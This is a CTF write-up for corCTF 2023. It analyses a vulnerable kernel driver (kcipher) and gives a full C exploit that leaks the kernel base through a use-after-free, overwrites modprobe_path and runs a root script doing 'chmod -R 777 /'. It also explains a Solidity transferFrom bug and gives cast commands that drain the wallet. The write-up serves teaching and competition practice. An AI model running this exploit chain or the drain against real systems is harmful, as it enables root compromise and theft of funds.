Contents

corCTF 2023

https://i.imgur.com/MBlUafg.png
corCTF 2023

Last weekend, I played with the Water Paddler team in the corCTF 2023. We managed to secure the first place. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork during the corCTF 2023!

https://i.imgur.com/oZAj8BP.png
We secured the first place

Below is the writeup for the kernel pwn challenge called kcipher and blockchain challenge called baby-wallet.

Pwn

kcipher

Description

lightning fast super-secure and cryptographically safe(?) ciphering in kernel space

connect with ssh: ssh kcipher@i.be.ax

upload a file to /tmp/exploit: ssh -t kcipher@i.be.ax connect $(cat exploit | ssh i.be.ax upload)

Initial Analysis

After unpacking the provided initramfs.cpio.gz, we noticed a driver named kcipher.ko. Let’s attempt to disassemble it first. Below are some notable functions.

device_ioctl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall device_ioctl(__int64 a1, int a2, __int64 buf)
{
  __int64 v4; // rax
  char *v5; // rbx
  int v6; // r13d
  __int64 v7; // rsi
  __int64 v8; // r12
  __int64 v9; // rax

  if ( a2 != 0xEDBEEF00 )
    return -22LL;
  v4 = kmalloc_trace(kmalloc_caches[1], 0x400DC0LL, 0x60LL);
  v5 = (char *)v4;
  if ( !v4 )
    return -12LL;
  *(_DWORD *)(v4 + 0x18) = 0;
  v6 = anon_inode_getfd("kcipher-buf", &kcipher_cipher_fops, v4, 2LL);
  if ( v6 >= 0 )
  {
    v7 = buf;
    v8 = copy_from_user(v5, buf, 8LL);
    if ( !v8 )
    {
      v9 = *(unsigned int *)v5;
      if ( (unsigned int)v9 <= 3 )
      {
        strncpy(v5 + 0x1C, (const char *)*(&ciphers + v9), 0x40uLL);
        return v6;
      }
      v8 = -22LL;
    }
    kfree(v5, v7);
    return v8;
  }
  kfree(v5, &kcipher_cipher_fops);
  return v6;
}

The above function is the ioctl handler. When we call ioctl on the driver, it will:

  • Allocate a new chunk.
  • Open a new file descriptor called kcipher-buf, which has its own fops. The newly allocated chunk will be used as the private data of the new file descriptor.
  • Copy 8 bytes from the given userspace address (the ioctl third param). We will learn later that these 8 bytes are actually:
    • The first 4 bytes represent the cipher_mode.
    • The final 4 bytes represent the cipher_key.

Initially, we didn’t see any bugs in this section. However, it turns out there is a bug, which will be explained later.

cipher_write

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall cipher_write(__int64 a1, __int64 buf, uint64_t size)
{
  cipher_struct *v3; // r15
  __int64 v5; // rax
  char *v6; // rdi
  __int64 v7; // r13
  __int64 text_chunk; // rax
  __int64 v9; // rbx

  v3 = *(cipher_struct **)(a1 + 0xC0);
  if ( size > 0x1000 )
    return -12LL;
  v5 = raw_spin_lock_irqsave(&v3->spinlock);
  v6 = v3->text;
  v7 = v5;
  if ( v6 )
  {
    kfree(v6, buf);
    v3->text = 0LL;
  }
  text_chunk = _kmalloc(size, 0xCC0LL);
  v3->text = (char *)text_chunk;
  if ( !text_chunk )
  {
    raw_spin_unlock_irqrestore(&v3->spinlock, v7);
    return -12LL;
  }
  v3->size = size;
  v9 = strncpy_from_user(text_chunk, buf, size);
  raw_spin_unlock_irqrestore(&v3->spinlock, v7);
  return v9;
}

This is the write handler of the kcipher-buf device. For context, we have created a helper struct called cipher_struct. This struct is the expected format of the private_data that was previously allocated during the initialization of the file via device_ioctl.

The rough struct looks like this:

1
2
3
4
5
6
7
8
struct cipher_struct
{
  uint cipher_mode;
  uint cipher_key;
  uint64_t size;
  char *text;
  void *spinlock;
};

This function will:

  • Allocate a new chunk with kmalloc with our input size.
  • Put the chunk address to the file cipher_struct->text.
  • Put the input size as cipher_stuct->size.
  • Copy the string that we send from userspace address to the text chunk with strncpy.
    • This means that our copied string won’t be allowed to have null bytes because the strncpy will stop on it.

cipher_read

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall cipher_read(__int64 a1, __int64 buf, uint64_t size)
{
  cipher_struct *v3; // r15
  __int64 v5; // rax
  __int64 v6; // r12
  __int64 v7; // rbx

  v3 = *(cipher_struct **)(a1 + 0xC0);
  v5 = raw_spin_lock_irqsave(&v3->spinlock);
  v6 = v5;
  if ( v3->text )
  {
    do_encode((__int64)v3);
    if ( size > v3->size )
      size = v3->size;
    if ( size > 0x7FFFFFFF )
      BUG();
    v7 = size - copy_to_user(buf, v3->text, size);
    raw_spin_unlock_irqrestore(&v3->spinlock, v6);
  }
  else
  {
    v7 = -2LL;
    raw_spin_unlock_irqrestore(&v3->spinlock, v5);
  }
  return v7;
}

This is the read handler of the kcipher-buf device. Essentially, this function will encrypt the cipher_struct->text before returning it to us.

The do_encode function is quite straightforward. It will encrypt the text using an encryption scheme based on cipher_struct->cipher_mode. For example, mode 0 is a rot cipher, which increases our text by the given cipher_key. Mode 1 is a xor cipher, which xors our text with the given cipher_key.

Based on the above disassembly, we can identify a bug that allows us to trigger a leak.

The first bug occurs during the allocation of a chunk for text, it uses kmalloc (which doesn’t clear the content). Coupled with strncpy, we can allocate a chunk without clearing its content by passing null bytes when calling cipher_write. We can simply use rot as our encryption method. So, when we call cipher_read to retrieve the chunk contents, we can easily recover its original contents.

As for the second bug, one of our teammates (enigmatrix) informed us that there is a bug during the initialization of kcipher-buf.

Notice that if we set the cipher_mode (first 4 bytes) to a value larger than 3, the allocated chunk v5 (which is the private_data) will be freed, but the file will still be active. This means that when we interact with the kcipher-buf device, the cipher_struct of the device will be a freed chunk. Hence, there is a Use-After-Free bug here.

Solution

Now that we’ve identified the bugs, let’s proceed to the exploitation. Our first step is to obtain a leak of a kernel address, and we can use the first bug to do this.

We first spray the seq_operations object (which has a size of 0x20). The seq_operations struct contains a pointer to the kernel address. Therefore, if we somehow free this chunk and then it gets reused by cipher_write when allocating text, we can easily get the leak by exploiting the first bug. Here are the sequences:

  • Spray seq_operations and free them.
  • Open /dev/kcipher and call device_ioctl to initialize a new kcipher-buf file (we’ll call this k1). Set the cipher_mode to rot so that we can easily decrypt it.
  • Call cipher_write with size 0x20 and an empty string. It will reuse the freed seq_operations chunk, which contains a kernel address.
    • Hence, cipher_struct->text will contain a kernel address.
  • Call cipher_read, and we’ll get the encrypted text.
  • Decrypt it, and we’ll get a leak.

Now that we have the leak, it’s time to exploit the second bug. Based on the disassembly, the private_data chunk size is 0x60. Our idea is to create a 0x60 chunk with cipher_write, so that we have an overlapping chunk between text and private_data.

Here’s a short summary (detailed explanations can be found in the script comment):

  • After obtaining the leak, open a new kcipher-buf via device_ioctl (we’ll call this k2). However, this time, set an invalid cipher_mode, so that k2->private_data will be freed by the code.
  • Now, with k1, create a new text chunk with size 0x60. This chunk (k1->private_data->text) will overlap with k2->private_data.
  • Now that we have overlapping chunks, the goal is to carefully craft k2->private_data so that we can execute arbitrary writes via the cipher_read of the k2 file.
    • We also have arbitrary write because we will be able to set the private_data->text stored pointer to any address that we want.
  • However, due to strncpy, we can’t easily craft k2->private_data via k1->private_data->text, as there are a lot of null bytes that we need to craft a valid private_data.
    • My teammate (sampriti) suggested that we can easily bypass this by encrypting our payload. So, when we decrypt it with cipher_read, the payload will be converted back to the original value (which is our fake private_data). For example:
      • Let’s say we set the cipher_mode to rot and the cipher_key to 0x30. Then, if we want to have a payload, let’s say 0x0040, we can set our payload to 0xd010. So, when we encrypt it, the payload will be reverted back to 0x0040.
  • After successfully crafting k2->private_data, we can simply set modprobe_path as k2->private_data->text, then attempt to overwrite it byte by byte with cipher_read.

Below is the full script with detailed explanation.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/resource.h>
#include <pthread.h>
#include <sys/mman.h>
#include <poll.h>
#include <time.h>
#include <unistd.h>

#define modprobe_path kbase + 0x8a83a0
unsigned long kbase;

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

// Helper method during debugging
void print_data(char *buf, size_t len) {
  // Try to print data
  for (int i = 0; i < len; i += 8) {
    char* fmt_str;
    if ((i / 8) % 2 == 0) {
      fmt_str = "0x%04x: 0x%016lx";
      printf(fmt_str, i, *(unsigned long*)&buf[i]);
    } else {
      fmt_str = " 0x%016lx\n";
      printf(fmt_str, *(unsigned long*)&buf[i]);
    }
  }
  puts("");
}

void decrypt_helper(char *enc, size_t len, uint key) {
  for (int i = 0; i < len; i++) {
    enc[i] -= key;
  }
}

int main() {
  /*
    Based on observation in gdb, the inode file priv structure is like this:
    typedef struct {
      uint cipher_mode;
      uint cipher_key;
      int64_t size;
      char* text;
      void* spinlock;
    } cipher_struct;
  */
  int fd = open("/dev/kcipher", O_RDWR);
  if (fd == -1) fatal("open(\"/dev/kcipher\")");

  // Spray seq_operations
  int spray[50];
  for (int i = 0; i < 50; i++) {
    spray[i] = open("/proc/self/stat", O_RDONLY | O_NOCTTY);
    if (spray[i] == -1)
      fatal("/proc/self/stat");
  }
  for (int i = 0; i < 50; i++) {
    close(spray[i]);
  }

  /*
    Get Leak
  */
  // Initialize kcipher inode device
  unsigned long cipher_key = 0x30;
  unsigned long cipher_mode = (cipher_key << 32) + 0x0; // Set cipher_key to 0x30, cipher_mode to 0 (rot). Why do we need to rot it? It will be explained later.
  int cipher_fd = ioctl(fd, 0xedbeef00, &cipher_mode);
  printf("[+] cipher_fd = %d\n", cipher_fd);

  // First bug: 
  // Calling kmalloc doesn't clear its content. We call write(cipher_fd, buf, 0x20) to trigger kmalloc(0x20).
  // Then, because the cipher_write used strncpy, the allocated chunk's content won't be overwritten with our buf,
  // because buf is empty.
  // So, after this write() call, the cipher_fd->priv->text will contains seq_operations struct leftover. 
  char buf[0x20] = {0};
  write(cipher_fd, buf, sizeof(buf));

  // Call read(), and the cipher_fd->priv->text contents will be encrypted via rot(0x30). So, we need to subtract it first
  read(cipher_fd, buf, sizeof(buf));
  decrypt_helper(buf, sizeof(buf), cipher_key);
  print_data(buf, sizeof(buf));
  kbase = *((unsigned long *) (buf) + 1) - 0x15b870;
  printf("[+] kbase = 0x%016lx\n", kbase);
  printf("[+] modprobe_path = 0x%016lx\n", modprobe_path);

  /*
    Overwrite modprobe_path
  */
  // There is a UAF bug during creating the inode device. Assigning cipher_mode larger than 4 will free the cipher_fd_2->priv,
  // but the inode will remain active due to the bug in device_ioctl. So, cipher_fd_2->priv is a freed chunk (UAF).
  cipher_mode = 0x000000005;
  ioctl(fd, 0xedbeef00, &cipher_mode);
  int cipher_fd_2 = 5;
  printf("[+] cipher_fd_2 = %d\n", cipher_fd_2);

  // With the write, create a decrypted fake_priv with size 0x60, so that when the write trigger kmalloc(0x60),
  // it will reside in the previous freed priv (cipher_fd_2->priv).
  // After the write() call, technically we now have overlapping chunk, where cipher_fd->priv->text  == cipher_fd_2->priv. 
  //
  // Now, the plan is we want to make the cipher_fd_2->priv->text text pointed to the modprobe_path, then overwrite it with read().
  // To do that, we can simply interact with the write(cipher_fd) to create a fake priv.
  // Now, this is the reason why we set cipher_fd->priv->cipher_mode to rot and key to 0x30. The fake priv contains a lot of null bytes,
  // which won't work because the write() use strncpy. So, we're going to decrypt the original payload first, so that it won't contain null bytes.
  // Then, we encrypt it with read(cipher_fd), so that the fake_priv back to the original payload that we want (And with this, we can write null bytes).
  //
  // We're going to overwrite the first 5 bytes of modprobe_path from "/sbin" to "/tmp/".
  // To do that, we're going to modify the fake_priv 5 times, by using xor with the correct key, so that the content of fake_priv->text (which is modprobe_path),
  // will be changed to our chosen string via xor.
  char *src = "/sbin";
  char *target = "/tmp/";
  unsigned long prev_key = 0x0;
  for (int i=5; i >= 1; i--) {
    char fake_priv_data[0x60] = { 0 };
    unsigned long * ptr = (unsigned long *) fake_priv_data;
    unsigned long curr_key = target[i-1]^src[i-1]^prev_key;
    prev_key = prev_key ^ curr_key;
    *(unsigned long *)(fake_priv_data) = (curr_key << 32) + 0x1;
    *(unsigned long *)(fake_priv_data + 8) = i;
    *(unsigned long *)(fake_priv_data + 0x10) = (modprobe_path);

    // We need to do this because the write is using strncpy, which doesn't allow us to write null byte. So, we
    // try to decrypt it first with rot, so that when it got encrypted, it goes back to our original payload.
    decrypt_helper(fake_priv_data, sizeof(fake_priv_data), cipher_key);
    write(cipher_fd, fake_priv_data, sizeof(fake_priv_data));
    read(cipher_fd, fake_priv_data, sizeof(fake_priv_data));

    // Now that the fake private_data is ready, call read() to the cipher_fd_2.
    // When we call read() to the cipher_fd_2, the text chunk is now pointed to the modprobe_path (because the priv == chipher_fd->priv->text)
    read(cipher_fd_2, buf, 0x60);
  }
  puts("[+] Finished overwriting modprobe_path");
  puts("[+] Press enter to continue...");
  getchar();

  // Create the evil script and create unrecognized binary header
  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/modprobe");
  system("chmod +x /tmp/modprobe");
  system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
  system("chmod +x /tmp/pwn");
  system("/tmp/pwn");
  system("cat /root/flag.txt");
  puts("");
  getchar();
}

Flag: corctf{b4s3d_0n_CVE-2022-28350}

Blockchain

baby-wallet

Description

I wrote my first Solidity smart contract!

nc be.ax 30444

Initial Analysis

We were given two smart contracts called Setup.sol and BabyWallet.sol.

Setup.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
pragma solidity ^0.8.17;

import "./BabyWallet.sol";

contract Setup {
    BabyWallet public wallet;

    constructor() payable {
        require(msg.value == 100 ether, "requires 100 ether");
        wallet = new BabyWallet();
        payable(address(wallet)).transfer(msg.value);
    }

    function isSolved() public view returns (bool) {
        return address(wallet).balance == 0 ether;
    }
}

Based on the source code, the initial setup for the challenge is that the wallet will be filled with 100 ether. Our goal for this challenge is to drain the wallet balance to 0.

BabyWallet.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.8.17;

contract BabyWallet {
    mapping(address => uint256) public balances;
    mapping(address => mapping(address => uint256)) public allowances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amt) public {
        require(balances[msg.sender] >= amt, "You can't withdraw that much");
        balances[msg.sender] -= amt;
        (bool success, ) = msg.sender.call{value: amt}("");
        require(success, "Failed to withdraw that amount");
    }

    function approve(address recipient, uint256 amt) public {
        allowances[msg.sender][recipient] += amt;
    }

    function transfer(address recipient, uint256 amt) public {
        require(balances[msg.sender] >= amt, "You can't transfer that much");
        balances[msg.sender] -= amt;
        balances[recipient] += amt;
    }

    function transferFrom(address from, address to, uint256 amt) public {
        uint256 allowedAmt = allowances[from][msg.sender];
        uint256 fromBalance = balances[from];
        uint256 toBalance = balances[to];

        require(fromBalance >= amt, "You can't transfer that much");
        require(allowedAmt >= amt, "You don't have approval for that amount");

        balances[from] = fromBalance - amt;
        balances[to] = toBalance + amt;
        allowances[from][msg.sender] = allowedAmt - amt;
    }

    fallback() external payable {}
    receive() external payable {}
}

Looking through the above wallet source code, we observed that there’s a bug in the transferFrom method. If we transfer to our own address (which is allowed), our balance will increase by the amount that we pass to the method. This is because, when calculating balances[to], it uses the initial balance instead of the updated balance.

Now that we’re aware of the bug, we can start crafting our attack.

Solution

Based on the bug we discovered earlier, we need to perform the following sequence to drain the wallet’s ethers:

  • Deposit 100 ether.
  • Approve 100 ether for our own address.
  • Transfer 100 ether to our own address using transferFrom.
    • Due to the bug, our final balance will be 200 ether.
  • Withdraw 200 ether.
    • At this point, the wallet is drained.

We can use cast command-line (installed by foundry) to perform the above steps.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Fetch wallet address
cast call 0x13b066B5200dc2B501DBdf32905114F4B65daBa5 "wallet()" -r https://baby-wallet.be.ax/03006321-ee43-49f2-99ed-1f41ddf51fbe --private-key 0x3ac5e63ad1e3856885bd6c7bbd1d824c61e2933c0a924fd649fcaefb7fd7dfb6

# Deposit 100 ether
cast send 0x92dcb819da0a04d699479a7385d727aa93950bed "deposit()"  -r https://baby-wallet.be.ax/03006321-ee43-49f2-99ed-1f41ddf51fbe --private-key 0x3ac5e63ad1e3856885bd6c7bbd1d824c61e2933c0a924fd649fcaefb7fd7dfb6 --value 100ether

# Approve self address 100 ether
cast send 0x92dcb819da0a04d699479a7385d727aa93950bed "approve(address,uint256)"  -r https://baby-wallet.be.ax/03006321-ee43-49f2-99ed-1f41ddf51fbe --private-key 0x3ac5e63ad1e3856885bd6c7bbd1d824c61e2933c0a924fd649fcaefb7fd7dfb6 -- 0xCE505e01b09F0E83EDEB7D1d9FD27AB218A85CF5 100e
ther

# Transfer to self address 100 ether
cast send 0x92dcb819da0a04d699479a7385d727aa93950bed "transferFrom(address,address,uint256)" -r https://baby-wallet.be.ax/03006321-ee43-49f2-99ed-1f41ddf51fbe --private-key 0x3ac5e63ad1e3856885bd6c7bbd1d824c61e2933c0a924fd649fcaefb7fd7dfb6 -- 0xCE505e01b09F0E83EDEB7D1d9FD27AB218A85CF5 0xCE505e01b09F0E83EDEB7D1d9FD27AB218A85CF5 100ether

# Withdraw
cast send 0x92dcb819da0a04d699479a7385d727aa93950bed "withdraw(uint256)" -r https://baby-wallet.be.ax/03006321-ee43-49f2-99ed-1f41ddf51fbe --private-key 0x3ac5e63ad1e3856885bd6c7bbd1d824c61e2933c0a924fd649fcaefb7fd7dfb6 -- 200ether

Flag: corctf{inf1nite_m0ney_glitch!!!}

Social Media

Follow me on twitter